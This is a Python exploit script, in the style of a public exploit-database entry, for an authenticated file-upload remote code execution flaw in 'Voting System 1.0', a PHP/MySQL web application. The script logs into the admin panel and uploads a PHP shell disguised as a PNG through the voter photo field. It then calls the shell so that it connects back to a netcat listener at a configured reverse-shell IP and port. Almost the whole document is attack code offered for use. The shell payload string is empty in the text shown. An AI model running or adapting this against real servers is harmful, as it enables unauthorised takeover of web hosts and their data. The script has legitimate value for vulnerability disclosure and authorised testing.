# Exploit Title: Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) # Date: 19/01/2021 # Exploit Author: Richard Jones # Vendor Homepage:https://www.sourcecodester.com/php/12306/voting-system-using-php.html # Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested on: Windows 10 2004 + XAMPP 7.4.4 import requests # --- Edit your settings here ---- IP = "192.168.1.207" # Website's URL USERNAME = "potter" #Auth username PASSWORD = "password" # Auth Password REV_IP = "192.168.1.207" # Reverse shell IP REV_PORT = "8888" # Reverse port # -------------------------------- INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php" LOGIN_URL = f"http://{IP}/votesystem/admin/login.php" VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php" CALL_SHELL = f"http://{IP}/votesystem/images/shell.php" payload = """ """ payload = payload.replace("IIPP", REV_IP) payload = payload.replace("PPOORRTT", REV_PORT) s = requests.Session() def getCookies(): r = s.get(INDEX_PAGE) return r.cookies def login(): cookies = getCookies() data = { "username":USERNAME, "password":PASSWORD, "login":"" } r = s.post(LOGIN_URL, data=data, cookies=cookies) if r.status_code == 200: print("Logged in") return True else: return False def sendPayload(): if login(): global payload payload = bytes(payload, encoding="UTF-8") files = {'photo':('shell.php',payload, 'image/png', {'Content-Disposition': 'form-data'} ) } data = { "firstname":"a", "lastname":"b", "password":"1", "add":"" } r = s.post(VOTE_URL, data=data, files=files) if r.status_code == 200: print("Poc sent successfully") else: print("Error") def callShell(): r = s.get(CALL_SHELL, verify=False) if r.status_code == 200: print("Shell called check your listiner") print("Start a NC listner on the port you choose above and run...") sendPayload() callShell()